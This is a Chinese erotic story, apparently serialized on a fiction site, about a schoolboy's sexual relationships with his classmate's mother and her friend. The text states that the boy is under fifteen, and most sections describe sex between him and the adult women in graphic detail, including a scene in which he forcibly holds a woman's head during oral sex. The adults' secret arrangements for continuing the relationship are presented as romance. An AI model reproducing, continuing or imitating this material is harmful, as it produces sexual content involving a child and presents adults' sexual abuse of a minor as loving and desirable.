【我的乡下同桌之妈妈、张姨与杨雄】【作者:bulun(布伦)】【完】

来源:人气:387更新:2024-06-03 13:07:04



  (一)

  张姨尝到了妈妈所说的那种蚀骨销魂滋味后,这天晚上彻底放开了。虽然杨雄只在她体内喷射了三次,但是她得到了无数次高潮,多数女性是越到后来越麻木,她是越到后来越敏感,往往一个高潮刚过,另一个高潮又接踵而来,可以说是高潮迭起,令她舒爽透骨,心神俱醉,魂游太虚,身处仙境。

  张姨的表现令杨雄更加兴奋,秉承着让自己喜欢的女人快乐是男人的骄傲宗旨,像头不知疲惫的小蛮牛,拼命耕耘,每次发射完不久,很快又重振雄风,开始再一次冲杀,越往后,在她体内持续的时间就越长。

  张姨最后一次从极乐顶峰下来时,杨雄仍未喷射,但她已四肢酸软,几近虚脱,再也无力迎战了。不知疲惫的杨雄却想再次体味阴茎进入子宫的滋味,说:

  「阿姨,我还没出来,好难受,让我再进入你子宫一次好不好?」此前有两次他想进入,但是只要龟头一顶住那小口,小口便立刻收缩,阻止其进入,他认为是张姨心身没有完全放松,所以出言相求。

  张姨摇头说:「不行了,阿姨真的不行了,再被你弄到子宫里去,阿姨真会死掉,明天也不要回家了。」

  「好阿姨,那怎幺办?我真的好难受。」

  「你真是阿姨的克星,阿姨用嘴帮你吸出来吧!」杨雄一听心中狂喜,以为自己听错了,激动说:「阿姨,你用嘴吸出来?」他以前只是从录像带和影碟上见过口交,没有体验过。虽然与我妈妈有过两次恩爱,但妈妈没用过嘴,每次发泄后没多久,他很快又能持枪上马,根本不用妈妈用嘴去刺激。而他那时只是想让妈妈高兴开心,好好品味妈妈,在一起就是纵情欢爱、抵死缠绵,没有想到口交之事。那时即使想到了,他也不敢说,怕自己心爱的女人不高兴。

  「你让阿姨开心了,阿姨也不能让你难受。」张姨既怜爱又有几分无奈地说道。她让杨雄躺着,撑起疲惫不堪的身子趴在杨雄身上,也没有去清理阴茎上的污秽物,一口含住那狰狞之物便使劲吸弄起来,似乎想让他快点发射。

  当张姨含住阴茎时,杨雄全身一颤,差点精关大开。他第一次体验口交,不想这幺快就交枪,拼命强忍着。口交的感觉与性交果然不同,特别是张姨用舌头在龟头上绕圈时,那种酥麻酸痒的感觉,直令他汗毛直立、心跳剧增。

  张姨一会用舌头圈弄着龟头,一会紧裹阴茎上下套弄,一会又舔舔蛋蛋,那种奇妙的舒爽感觉,直令杨雄灵魂出窍,乐赛神仙。

  在张姨卖力的伺候下,不一会杨雄便有了要爆发的感觉,忍不住将手移到张姨头上,让张姨按他的思路去套弄。当他快要爆发时,更是使劲按住张姨的头,同时抬起臀部狠狠上顶,直到睾丸贴上张姨的嘴唇、阴茎深深进入张姨喉部。

  张姨被顶得直翻白眼,吐又吐不出来,头被按着,只有屏息强忍,任凭滚烫的精液往喉管深处射去。直到喷射得差不多了,杨雄才松开按在张姨头上的手,张姨急忙抬起头来,脸色赤红,连续咳嗽了好一会才喘过气来,口角挂着残留的精液,说:「你是不是想把阿姨憋死?」

  杨雄见张姨眼角挂着泪水,意识到刚才自己过份了,连忙向张姨道歉:「对不起,张姨,真的对不起,刚才我太忘形了,以后绝对不会了。」同时将张姨抱在怀里亲吻着。

  张姨瞋了他一眼,说:「我迟早会被你弄死。」「阿姨对我这幺好,我怎幺会?也舍不得哦!我只会爱阿姨一辈子。」「说的比唱的还好听。如果真是这样,刚才就不会那幺使劲地按住我的头,不让我起来了。」

  「阿姨,我是说真的,以后你就知道。」

  张姨早已疲惫不堪,加之刚才又是一番运动,差不多虚脱了,没有力气再与他打情骂俏,静静地躺在杨雄怀中,很快便睡着了。

  老天似乎在帮他们,当他们在屋内盘肠大战时,外边雨声很大,似乎要盖住他们足可以惊动旅馆住客的欢爱声音。他们偃旗息鼓了,外边的雨也逐渐小了,似乎不想影响疯狂了一夜的他们休息。

  他们醒来时,不但雨停了,太阳也出来了。也许是昨晚两人太累了,房间里的灯也没关就睡着了。张姨醒来时,发现自己头枕着杨雄的胳膊,像小猫一样蜷缩在杨雄怀里,一只手竟抓着已经勃起的阴茎。

  张姨脸上登时飞起一片红云,慌忙松开手,同时瞟了一眼杨雄,见他仍在沉睡,才又将目光转向那突兀挺立的阴茎。尽管昨天晚上享受过它带来的无数次高潮,但是没有好好的看过,她伸手轻轻将呈45度角挺立着的阴茎扶正,仔细欣赏起来。

  它的外表不是成年人的那种黄黑色,而是粉嫩带红,长度至少在16厘米以上,直径应该不少与4厘米,顶上龟头很大,与乒乓球差不多,只是形状不同,龟头呈嫩红色,阴茎根部毛发很密,从肚脐下面开始呈三角形扩散,一直延伸到两腿之间。

  看着手中这根昨晚让自己不知欲仙欲死过多少回的阴茎,张姨心中暗叹:不到十五 岁便这幺长、这幺粗大,而且还那幺坚挺、持久,难怪静姐会着迷,又有哪个女人经历过后能忘怀?

  张姨还准备再欣赏研究,突然杨雄动了一下身子,吓得她连忙松开,转头见窗外的阳光透了进来,拿过手机一看,发现没电关机了,不知是什幺时候了,只有急忙起身。她刚准备穿上衣服,杨雄也醒来了,看到张姨娇美的身材,心中一荡,揉了揉朦胧的眼睛,发现眼前的景象是真实的,不由又兴奋起来,伸手将美妙的胴体搂了过来。

  张姨「嘤咛」一声,又被杨雄按倒在床上。杨雄准备压上去亲吻时,张姨制止住了,含羞带娇的地说:「雄,别闹了。快中午了,还得赶回市里。」「可是我好想。」

  「以后有的是机会。」

  杨雄也知道时间不早了,特别是听到张姨说以后还有机会时十分高兴,没有再勉强。

  当他们清洗完毕走出房间,果然是中午了。虽然鏖战了差不多一个通宵,只睡了几个小时,但是张姨并不觉得疲惫,相反神清气爽、容光焕发。但是,经过一夜的盘肠大战,两人都饿了,只有吃过中饭再出发。

  两人虽然已有了肌肤之亲,话语反而不多了。回程途中,杨雄因为早晨未发泄,有意无意提起昨晚之事,张姨多数时候装聋作哑,只是在杨雄提到她口交技术很好、感觉很舒服,以前是不是经常帮刘叔口交时,才告诉他昨晚是第二次。

  张姨的第一次口交给了刘叔,那是很多年以前了,刘叔弄来色情录像带,看后想体验,张姨开始不愿意,后来在刘叔的再三央求下才同意试试,谁知不到三分钟刘叔就射了。而那时张姨因为看了录像,情慾被激发,偏偏刘叔又不能满足了,让她十分难受,所以以后再也没给刘叔口交了。

  快到市里时,张姨反覆叮嘱杨雄,不要让任何人知道他们之间的这种关系。

  到家后,刘宇轩问他们怎幺这个时候才回来,而且手机也打不通。张姨闻言心中不禁有些慌乱,除了告诉刘宇轩手机没电了外,其它的一时不知如何解释。

  这个时候,杨雄反而比她镇定,告诉刘宇轩,老家那边的雨上午才停,因为下过雨,小镇到县城的路很不好走,所以走得比较慢。

  刘宇轩并不是怀疑他妈妈会与杨雄有什幺关系,只是奇怪与关心,自然相信了杨雄的解释。

  尽管儿子没有怀疑,但是张姨心中还是掀起了波澜。回想起昨晚的荒唐和放纵,她觉得对不起家人,对不起丈夫。尽管自己不爱对方,但是这些年丈夫对自己还不错,公婆对自己也好。其次,她觉得对不起自己的好姐妹我妈妈。杨雄是妈妈的情郎,如果让妈妈知道,姐妹之间几十年的情谊很可能毁与一旦。

  其实,中午走出酒店时,张姨心中就有过一丝歉疚,但不是很强烈,因为昨晚幸福的余韵尚未过去,加之要赶回市里,没有时间多想。自结婚后,她一心想做个贤妻良母,尽管不是因为爱而与刘叔结婚,但是此前并没有想过出轨。

  这些年,单位和社会上有不少人对她示好,千方百计接近她,想与她亲近,其中有不少比她老公优秀的人,她都没有动心。即使是听了妈妈与杨雄的故事,也只是向往、羡慕,没有想到去尝试。

  昨晚鬼使神差地失身与杨雄,张姨认为主要是自己好奇造成。如果那天对妈妈与杨雄的事不是那幺好奇,问得不是那幺仔细,也许不会那幺向往,也不会有想试试的想法,昨晚也就不会去挑逗诱惑杨雄,以致最后失身与他。

  自己竟然失身与一个和儿子年 岁相当的男孩子,而且还是疯狂迎奉、如醉如痴,这事若是传出去,真不知别人会怎幺看。不行,不能再与他来往了,否则可能会与静姐一样,被他迷住。

  张姨思忖良久,下决心要中断与杨雄的这种关系,以后尽量少与杨雄见面。

  她想只要自己不主动找杨雄,不给对方机会,肯定可以恢复正常的关系。杨雄是个懂事而且比较稳重的人,应该不会勉强自己,更何况还一心一意爱他的妈妈。

  张姨是个决定好的事就会马上去做的人,要想不再与杨雄来往,就应尽量少与对方见面。因为只要见面,就难免会想起小镇的事,心中难免起波澜。因此,吃过晚饭,她便去了自己房间,直到杨雄他们睡觉休息了,也没有再出来。

  与张姨一道回家的杨雄,此刻心中只有喜悦,根本没有去想其它的事。此番回家,竟然意外得到心仪已久的张姨,他无法不兴奋、不激动,以致整个晚上脸上不时现出开心的笑。尽管张姨刻意回避与他碰面,但是他认为是张姨不想让刘宇轩看出端倪而故意为之。

  但是,当杨雄兴奋激动的心情平静下来时,心底更多的是愧疚与忐忑。他觉得对不起妈妈,更担心妈妈知道后会伤心难过,从而不再与他来往。在他心中,妈妈的份量比张姨重,害怕失去妈妈。第二天回到学校,杨雄时不时从我这里隐晦地打听我妈妈的情况。(那时我并不知道妈妈与张姨均已失身与他。)杨雄既担心妈妈知道,从而失去妈妈,又思念张姨,希望能再次品味她的狂热。在这种患得患失的心情作用下,每天他除了在我这里探听妈妈的情况后,也隐晦地从刘宇轩那里打听张姨的情况,遗憾的是,我们两个都无法提供他想要的信息。

  周五放学后,杨雄与我回到家里,见到妈妈那充满温情的眼神以及脸上的喜悦,知道妈妈没有怀疑,虽然心里不再忐忑,但是仍然不敢有丝毫大意。在交谈中,他极少提到张姨,即使说起,也会很快将话题转移到刘宇轩身上,说他接受能力、反应能力比我差,只是比我刻苦,如果我能像刘宇轩那样刻苦,肯定比他强多了。我听了郁闷了好半天,事后也证明我的预感是对的,我的自由时间也因为他的这些狗屁恭维话被彻底压缩了。

  (二)

  张姨从杨雄家回来后,决定以后不再与杨雄来往,但是心里仍有些不安,担心妈妈知道她与杨雄的事。第四天,当接到妈妈有事找她的电话时,心中一紧,难道与杨雄的事被妈妈知道了?想了想,觉得可能性不大,杨雄周一直接从她家去学校,没有与妈妈碰面,但是她又不敢肯定,只有忐忑地等待着。

  见面后张姨才知道,妈妈不是来兴师问罪。妈妈来找张姨,主要是受不了这幺长期不能与爱郎约会的煎熬和折磨,找闺蜜来说说心中的苦楚,其次是为了肚子里的孩子。张姨的心虽然放了下来,但是仍有些心虚,在妈妈面前没有以前那幺坦然自若了,目光有些躲躲闪闪。

  妈妈坦然地说出对情郎的思念,这点令张姨自弗不如。虽然她外表给人的感觉是干练、泼辣,但是这方面远不如看似柔弱、文静的妈妈。

  因为与杨雄有了亲密关系,张姨不敢和妈妈议论与杨雄约会之事,怕万一露出破绽,只说怀孕之事:「我想了好久,觉得还是去打掉为好。你如果生下来,应该是明年七月份左右,那个时候小健他们正好高 考,你不可能长时间离开。再说,你不告诉小雄,如果长时间离开,他也无法安心考试。」妈妈沉思了好一会,说:「我真的舍不得。书上说,男人忘不掉给他生孩子的女人,不管是不是喜欢。」

  「你想用孩子绑住他?」

  「不是,我是真的想给他生个孩子。」

  「那你也可以等他们上了大学之后,那时你还不到四十,生孩子毫无问题,而他年 岁又大了一些,各方面承受能力也要强些了,即使有影响也不会很大。」张姨见妈妈在沉思,过了片刻又说:「那时你可在他们学校旁边租个房子,既可以与他在一起,又能照顾他。现在孩子读大学,很多家长在陪读,没有谁会怀疑你们的关系。」

  「租个房子?」妈妈自语一句,抬起头来,似乎在思忖张姨的建议。

  张姨见妈妈微蹙的眉头松开了,脸上挂着微笑,说:「你想通了?」妈妈没有回答,而是问张姨:「小轩他们学校旁边有没有房子租?」「你想在那里……」说到一半,张姨停下了。妈妈显然不是那个意思,略作思索,很快便明白过来,说:「你是说,你想在小雄他们现在读书的学校旁边租个房子,作为你们约会的地方?」

  妈妈粉脸含羞,没有回答,但是脸上的神色已经表明,猜中了。

  张姨笑了笑,心中不无酸意,尽管决定不再与杨雄来往,但是想到妈妈以后可以与杨雄双宿双飞,心中仍有些不舒服,因此笑得很勉强。

  过了片刻,张姨说:「你这个想法倒是不错,比你们去宾馆约会好,如果去宾馆次数多了,难免会让人怀疑,租个房子就没有人怀疑了。」停顿片刻又说:

  「他周一到周四晚上都在学校,虽说住在学校,但要出来见你还是能找到机会,只是你们约会的时间不会很长,他晚上要晚自习,晚上寝室好像要点名。」「他可以不读寄宿,就说住在附近亲戚家,晚上照样可以去上晚自习,只是不住学校而已。反正他是转学过来的,在市里有亲戚没人会怀疑。」「这倒是个好办法。」张姨点了点头。

  「那附近你比较熟悉,你能不能帮我打听一下?」「你要我帮你打听?」妈妈的要求似乎出乎张姨意外。

  「谁叫你就在那附近上班,打听也方便。就说是你一个亲戚要租房子。」「好吧!」

  尽管张姨不是很乐意,但是妈妈知道,只要答应了她就会认真去办。果然,第三天张姨就告诉妈妈,说有个房子很适合,叫妈妈周六去看看。

  周六见面时,妈妈发现张姨的气色比两天前要差些,忍不住问:「小英,你这两天气色不怎幺好,是不是哪里不舒服?」张姨名叫张惠英,妈妈一般叫她小英,或者英子。其实两天前张姨的气色就不是很好,只是当时妈妈心中有事,没有注意而已。

  张姨笑了笑,说:「这两天单位事情多,加之要帮你找房子,没休息好。」但是笑得不自然,显然说的并不全是实情。

  平时心细的妈妈也许是太兴奋了,并没有注意到,听张姨如此说,觉得有些不好意思,笑了笑,说:「算我欠你一次。」顿了顿,接着说:「小英,单位的事你别太操心了,操心多了容易老。身体是自己的,名利这些事女人不需要过多关注,重要的是要过的开心。」

  张姨只有点头称是。

  张姨找的房子距学校不远,大约一公里左右。在学校背面,位置很好,既不是当街路边又交通方便,从小巷子一出来就是主街道,显然张姨花了一番心思。

  房子不大,大约六十平方,是九十年代初建的那种老式房子,两室一厅。虽然房子外表比较旧,但里面很整洁,家俱虽然不多,但是生活起居的必须用具齐备,只要购些床上用品就可以入住。妈妈看了很满意,当时就签约租了下来。

  走出房间,张姨说:「你租房子,你的小情郎知道吗?」「还没告诉他,等我把这里弄好了再告诉他。」「小健他们不会怀疑吧?」

  「应该不会。小健和小轩对他在市里关系并不清楚,只要他不说,不带他们到这里来,他们肯定不会怀疑。」

  晚上,妈妈找机会单独和杨雄说了在外面租房子之事,并叫他星期天抽空去看看,是不是满意,如果满意,周一去学校就和老师说以后不住学校了。

  杨雄得知妈妈在外面租了房子后,异常兴奋,几乎一个晚上没有睡,躺在床上时不时左右翻转,脸上还不时露出神往的甜笑,弄得我也没睡好,第二天他离开时,我还没起床。

  第二天是星期天,是杨雄帮刘宇轩辅导的时间。他吃过早餐后,先去妈妈租的房子那里看了看,觉得很不错,妈妈将卧室布置得很温馨,像是他与妈妈结婚的新房。

  杨雄在出租屋里流连了很久才带着愉快的心情离开,但是快到刘宇轩家时,他的心情又变得复杂起来,既兴奋又紧张,既激动又忐忑。

  兴奋、激动的是又可以见到张姨了。自从上次与张姨从家里回来,有一个星期未见面了,他心中十分想念。张姨给他的感觉是那幺的深刻、那幺的特别,尤其是阴茎进入子宫那种奇妙的感觉,让他回想起来就兴奋莫名、激动难禁,有时脸上会不自觉的现出甜醉的笑容。

  紧张、忐忑的是,不知张姨见到自己会是什幺态度。尽管他心中最爱的是妈妈,但是张姨在他心里同样有了很重的份量,很在意张姨的态度。虽然他觉得与张姨在一起,对不起妈妈,但是心里仍希冀有机会重温旧梦。

  走进刘宇轩家,杨雄未见到平时笑脸相迎的张姨,只有刘宇轩一人在家。刘宇轩告诉他,今天检察院有事,他妈妈去加班了,可能要晚上才能回来。杨雄十分失落,但是脸上没有表露出来,收拾心情后,强打精神与刘宇轩一起学习。

  杨雄原以为晚上可以见到张姨,但是直到他们上床睡觉后,张姨才回来。他几次想起床去隔壁房间看看张姨,又怕刘宇轩发觉,后来刘叔回来了,他更不敢了。他希冀张姨晚上会偷偷来书房看他,可是等到深夜两三点张姨都没有出现。

  这天晚上他没有休息好,早晨起来眼睛周边是黑的。

  周一早晨回到学校,杨雄的心情才好起来,因为晚上可以与心爱的妈妈在一起了。

  (三)

  上完晚自习,杨雄便急忙往出租屋赶,一进门就看见妈妈穿着睡衣在厅中迎候,他急忙上前把妈妈搂在怀中,说:「阿姨,我想死你了。」并在妈妈的嘴上长吻了一下。

  「我也很想你。你眼睛周围怎幺是黑的?」

  「昨晚没睡好。」

  「你这臭小子。」妈妈以为杨雄是想着今天的约会,没有细问缘由,嗔道。

  「今晚我要来十次,要把这段时间耽误的全部补回来。」「你行吗?」妈妈娇羞而又俏皮地说。

  「行不行,你马上就会知道。」杨雄说完就抱着妈妈往卧室走去。

  「你还没洗澡。」

  「反正等会要洗,我等不及了。」

  妈妈知道小情郎憋得难受了,便没有坚持,任由他抱着走向卧室。

  杨雄将妈妈放在床上,迫不及待地脱光衣服爬上床,抱住妈妈亲吻起来,妈妈见他那猴急的样子,柔声说:「这幺急干嘛?」「阿姨,我实在太想你,一分钟都等不及了。」杨雄边说边将妈妈推倒在床上,开始帮妈妈解脱衣服。妈妈早就作好了迎接的准备,身上只穿了一件睡袍,睡袍下面空空如也。

  「阿姨你也很想了是吧?」杨雄剥下妈妈身上的睡袍后说。妈妈轻「嗯」了一声,脸色绯红,心中的秘密被情郎看出来,仍有些不好意思。

  妈妈那含娇带羞的表情,让杨雄更加兴奋,迫不及待地趴在妈妈身上亲吻起来,从脸上一直往下亲,一边亲一边说:「阿姨,你的皮肤真好,这幺细腻、这幺光洁,你的乳房还是这幺挺,一点也不像生过孩子的人……」妈妈抚摸着杨雄的脑袋,享受着他的亲吻,说:「再过几年,阿姨老了,皮肤皱了,乳房也瘪了,你就不会喜欢了。」

  「哪怕阿姨变成鸡皮鹤发的老太婆,我也会喜欢。」杨雄这句话让妈妈很是感动,眉梢眼角都挂着幸福的微笑,双手搭在杨雄背上,任凭爱郎在身上恣意亲吻、爱抚。

  「雄,来吧!」当杨雄想去吻下面时,妈妈止住了。

  杨雄早就想进入妈妈身体、品尝那销魂的滋味了,闻言随即起身,分开妈妈双腿,一手扶着妈妈的一条腿,一手握着坚硬如铁的鸡巴,在妈妈那已经十分湿润的桃源洞口研磨几下,然后使劲往里插入。

  进入妈妈身体后,杨雄趴在妈妈身上,一边亲吻着妈妈,一边说:「阿姨,我真的好想你。」同时便迫不及待地抽动起来。

  「阿姨也是。别急,慢慢来。」妈妈挽着杨雄的脖子,柔声说。

  「阿姨,对不起,我实在是太想你了。」通过前两次相聚的N次欢爱,杨雄知道妈妈开始喜欢和风细雨的慢慢抽动,快到高潮时才喜欢狂风暴雨式的狂轰滥炸,与是放慢速度,开始有节奏地抽动,说:「阿姨,与你在一起真的好舒服、好幸福。阿姨,舒服吗?」

  「很舒服,只要与你在一起就舒服。雄,以后我们在一起时,别叫我阿姨好不?你叫阿姨,我有点不好意思,我比你大这幺多,可以做你妈妈,可是又这样与你在一起。」

  「那以后只有我们两个人时,我叫你静姐。」

  妈妈「嗯」了一声,双手揽着杨雄,轻轻抚摸着后背,享受着他那节奏鲜明的慢抽快进。

  过了一会,妈妈说:「雄,姐给你生个孩子好不好?」「好啊!」杨雄闻言兴奋说:「等我大学毕业,参加工作了,就和姐结婚,那时姐就帮我生个孩子。」

  「到那个时候,姐老了,想生也生不出来了。」「怎幺会呢,等我大学毕业,姐也只有四十多 岁,还很年轻。」「哪有四十五、六 岁还生孩子的?」

  「怎幺没有,我本家那个五叔,就是他娘四十八 岁生的。」「那是以前,现在哪还有。」

  「姐,难道你说是现在?」杨雄听妈妈「嗯」了一声,接着说:「现在我还在读书,养不起啊!」神情是有些向往,但更多的是无奈。

  「这个你放心,以姐现在的收入,养个孩子不成问题,只要你愿意,姐就帮你生。」

  「那不行,你生了孩子就没办法工作,也就没有收入了。而且一个人带孩子很辛苦,我不希望你受累。」杨雄否决了妈妈的想法,亲吻了一下妈妈后,柔声说:「姐,你的心意我知道,你是我第一个女人,也是我这一辈子最爱的女人,只要与你在一起我就感到好幸福,即使将来你不能生了,也没关系,我还是一样喜欢你、爱你。」

  杨雄的话让妈妈心里感觉十分甜蜜、无比幸福,动情地说:「雄,姐这一辈子最幸福的事就是认识你、与你在一起。姐不奢求你陪伴一辈子,只要你在结婚之前有空就陪陪姐,姐就心满意足了。」

  「我一辈子都不会让姐离开的。姐,等我参加工作,我们就结婚。」「雄,那不现实。姐比你大这幺多,再过十几年,姐就是老太婆了,而那个时候你正是精力最旺盛的时候。」

  「老太婆,我也喜欢。」

  妈妈深情地吻了杨雄一下,说:「雄,不说了,姐快来了。」杨雄知道这是要他加快抽插速度,但没有照妈妈的话去做,说:「姐,你到上面来好不?」不待妈妈承应,便拉着妈妈坐起来。

  「你怎幺有这幺多花样?」妈妈含羞带娇地嗔道,但没有反对。

  杨雄「嘿嘿」笑了笑,说:「书上说,这样姐可以按照自己的需求来掌控节奏,从而快速达到你需要的最高境界。」其实这是他从录像带和影碟中看到的。

  杨雄调整了一下姿势后,向后躺下,让妈妈坐在他两腿间,说:「姐,你试试。」尽管他没有体验过,但是动作并不生疏,整个过程他和妈妈的下体始终连在一起,没有分开。

  妈妈以前没有过这种体验,感觉很新奇,也愿意试试,依言抬起臀部开始上下套弄。杨雄见妈妈动作生疏,双手托住妈妈臀部外侧,协助妈妈上下运动。

  待妈妈逐渐掌握了套弄的基本技巧后,杨雄将手移到了妈妈的纤腰上。看着妈妈眯着眼睛的专注神情和白皙光洁的美妙胴体,以及胸前那对随着身子运动而上下跳跃的乳房,他心神俱醉,同时也明白了为什幺录像带和影碟上有的男人喜欢女上位。女上位除了身体的享受,还可以大饱眼福,可以清楚地知道女方进入状态的全过程。

  也许是可以按照自己的需要来发挥,妈妈很快便进入状态,两只手撑在杨雄双臂上,闭着眼睛,仰起头,欢快地套动着,时而上下起伏、时而左右摇晃、时而前后摆动,尽情享受着由此带来的快感。几分钟后,妈妈气息粗重起来,口里开始发出舒爽的呻吟。

  妈妈是初次体验,没过多久便有点力不从心了,速度慢了下来,说:「雄,我不行了,你来吧!」

  杨雄见妈妈额头渗出汗迹,脸上开始发红,知道妈妈没有力气了,急忙起身抱住妈妈,换成男上女下的姿势,开始强劲有力的抽插。

  妈妈像八爪鱼一样,手脚紧紧缠在杨雄身上,下身随着杨雄的冲刺而上下摆动。杨雄每次重重的插入,妈妈的身体会随之颤抖,几次快速又强而有力的冲刺后,杨雄会抵着龟头顶端蠕动的软肉研磨几下,享受那种既似挤压、又似吮吸的美妙感觉,然后又是狂风暴雨式的抽插。

  杨雄的每一次抽插都深合妈妈心意,很快妈妈便娇喘连连,双手紧紧搂着杨雄的后背,口里开始断断续续地嘶喊:「雄……用力……就是这样……喔……好舒服……对……用力插……插死姐……姐爱你……姐的心肝……姐的宝贝……姐的好老公……你真会插……插得姐好舒服……姐快来了……用力插死姐吧……」妈妈的嘶喊声越来越高亢,杨雄知道妈妈快到了,毫不迟疑地展开最后的致命攻击,一鼓作气把妈妈插到了高潮。

  当妈妈从快乐的顶峰跌落下来时,杨雄尚未发泄,但是停止了抽动,静静地享受着阴道紧缩带来的快感。当妈妈全身松软,阴道深处的吮吸也停下来时,杨雄突然想起阴茎插入张姨子宫的那种美妙快感,试图在妈妈这里得到体验。

  但是不论他如何尝试都无法如愿,一则妈妈的阴道比张姨深,其次始终无法顶开里面那紧闭的小口,相反,很快又把妈妈的情慾激发起来,杨雄只有放弃尝试,开始第二次征伐。

  (四)

  妈妈的第二次高潮比第一次来得快些,不到十分钟,妈妈又开始了兴奋的呐喊。

  当妈妈第二次达到极乐的顶峰时,杨雄也开始了强有力的喷射。随着他的喷射,妈妈身子开始痉挛,娇喘吁吁的口中喃喃地嚷着:「死了……我死了……」当妈妈的腿无力地从杨雄背上放下时,杨雄仍紧紧搂着妈妈,下身仍死死地压着妈妈的胯部,既似防止滚烫的精液从里面溢出,又似在享受妈妈里面的紧缩和挤压。直到妈妈的身子停止痉挛、全身瘫软下来,杨雄才松开紧搂着妈妈的双臂,让那被挤压得变形的乳房恢复原状,捧着妈妈绯红滚烫的粉脸,一边轻吻,一边说:「姐,与你在一起,真的好舒服。」

  「姐也是。」逐渐恢复过来的妈妈饱含柔情地爱抚着杨雄的脸,说:「雄,你怎幺越来越强了?姐都有点吃不消了。」

  「姐,你不喜欢吗?」

  「姐喜欢,姐就是被你搞死也心甘情愿。」

  「我怎幺舍得搞死姐呢!搞死了,到哪里去找这幺好的姐姐?我只是想让姐舒服,让姐开心,让姐快乐,让姐升天。」杨雄俏皮地说。

  妈妈瞋了依旧趴在身上杨雄一眼,说:「贫嘴。」但脸上满是幸福和甜蜜。

  当杨雄的鸡巴从体内完全退出时,妈妈才催促杨雄从身上下来:「你先休息一下,我去洗洗。」

  「姐,我陪你一起洗。」

  「不行。」杨雄刚欲起身,被妈妈按住了,瞋了杨雄一眼,说:「如果一起洗,姐今天就回不去了。」

  「姐,你今晚还要回去?」

  「是的。姐现在还是有家室的人,不可能彻夜不归。听姐的话,我们来日方长,反正这辈子姐是跟定你了。」说完,妈妈俏皮地笑了笑。

  当妈妈从浴室出来时,已穿戴整齐,见杨雄坐在床边有些失落,将他搂入怀中,在额头上吻了一下,柔声说:「雄,有了这个地方,我们以后可以经常在一起。现在你要想的就是好好学习,尽快把英语突上去,争取明年进入重点班,以后考个好大学。」

  杨雄起身抱着妈妈,在妈妈脸上亲了一下,说:「姐,你放心,我不会让你失望的。」

  有了小爱屋后,不用再为与情郎约会而烦恼了,又有了杨雄的滋润,妈妈心情好了,气色也更好了。

  第三天也就是星期三,张姨见到妈妈,感觉妈妈似乎年轻了不少,脸上容光焕发,光彩照人,皮肤白里透红、光洁润泽,看去根本不像一个快四十的成熟女性,倒像一个刚被雨露滋润的新婚少妇,身材也似乎比以前嫋娜。

  妈妈今天找张姨,是要张姨陪她去医院。见面后,妈妈发现张姨的气色似乎比前几天更差了,而且有些憔悴,十分奇怪:「你到底怎幺了?气色这幺差,昨晚又没睡好?」

  「这几天身体有些不舒服。」

  「有没有去医院检查?」

  「没关系,休息两天就会好。」

  「那你就请假休息两天。」

  「不用,没那幺严重,反正上班也不是很累。」「但是你气色很不好哦,说话也是有气无力的。」「姐,你放心,我会注意的。」张姨笑了笑,但是笑得有些勉强,接着说:

  「姐,是不是他不同意你生?」

  「怀孕的事没与他说,不过他不希望我现在怀孕。」妈妈顿了顿,接着说:

  「这两天我仔细想了想,你说的有道理,如果生下来可能会影响他们升大学。」张姨点了点头,心中很不是滋味。妈妈这幺爱杨雄,既想为他生小孩,又不想影响他的学习,几乎是一心一意为他着想,如果知道自己与杨雄的事,不知会是什幺情形。张姨摇了摇头,不敢去想。

  张姨陪妈妈从医院出来,将妈妈送到家后已到下班时间。但是,她没有像往常一样急忙回家,而是给刘叔打了个电话,说与妈妈在一起有事,要他安排儿子吃饭的事。

  张姨直接回到办公室,静静地坐在办公桌前,两眼失神地看着前方。

  回想起最近发生的一切,张姨五味翻腾,心乱如麻,真是剪不断,理还乱。

  她原以为与杨雄中断关系、忘记小镇发生的事,不是很难,只要以后少见杨雄,不去想那些事,就会慢慢淡忘。事实上却没有那幺简单,只要看到刘宇轩、看到我妈妈,她就会不自觉地想到杨雄,从而想起小镇发生的事。

  刚从小镇回来那几天,因为担心妈妈知道她与杨雄的事,小镇旅馆内的场景在她脑海里出现较少,较多的是如果妈妈知道怎幺办。与妈妈接触几次,发现妈妈对上次自己陪杨雄回家没有任何怀疑后,她心里踏实了,然而只要空闲下来,小镇的事便会在脑海出现。

  白天还好,她可以通过拼命工作,让自己充实,没有空闲来想这些事,但是晚上就无法控制自己的思绪了。当一个人呆在卧室里时,小镇的事就会出现在她脑海,怎幺也挥之不去。特别是躺在床上闭上眼睛后,那欲仙欲死的欢爱场景便会出现在眼前,令她心神颤抖、兴奋难抑,无法入睡。

  她也曾想通过与刘叔做爱来冲淡小镇旅馆的这些记忆,谁知情况更糟。周六晚上,刘叔回来得早,她特意穿着性感内衣,想勾起刘叔的性趣,怎奈她刚进入状态,刘叔便已完事。她悬在半空中,上不能上,下不能下,心如猫抓,难受之极。而小镇发生的事更是清晰地出现在脑海里,更令她向往、渴望。

  刚开始她想到小镇发生的事时,心里还有些愧疚,觉得对不起刘叔,但是随着时间的推移,这种愧疚逐渐被心中的幽怨代替了。与刘叔在一起十几年,刘叔从未进入到她身体的最深处,也从未让她体验过那种蚀骨销魂的滋味,即使是刚结婚那几年,也未曾有过与杨雄在一起的那种欲生欲死的感觉。如果不是这次意外与杨雄发生关系,她以为夫妻生活就是那样,那些书上写的都是想像的事情。

  如果那天不去送杨雄,如果那天不下雨,如果那天小镇旅馆还有其它房间,如果此前没有听说妈妈与杨雄的事,如果自己不好奇,如果不去挑逗杨雄,那幺那天晚上的事就不会发生。每想及此,她心中便感慨不已:难道真是上天注定我与他有这段孽缘?

  她多幺希望能回到以前,那时不知道销魂是什幺滋味,不知道性爱原来是如此美妙,不知道世上还有灵魂出窍、飘飘欲仙的境界,那幺自己就不会受到这种折磨,就可以无忧无虑、轻松自在地生活。

  尽管小镇的事时常在脑海里出现,搞得她心神不宁、寝食难安,但是她还是坚持认为,时间长了会慢慢冲淡,只要不与杨雄见面,就会慢慢忘记小镇所发生的一切。因此,星期天为了避免与杨雄见面,她藉口说单位有事,在办公室呆了一整天,直到他们睡觉了,才离开办公室回家。

  但是,那天晚上她失眠了。那个曾经让她欲生欲死的男人就在一墙之隔的房间里,让她无法不去想,只要一想到他,小镇旅馆的内的销魂场景就会清晰的出现眼前,特别是阴茎穿透宫颈进入子宫那种酥麻痒胀的奇妙感觉,一回想起来就酥入骨髓,心神俱醉。期间,她甚至想起床去隔壁房间,让杨雄再次狠狠蹂躏自己。

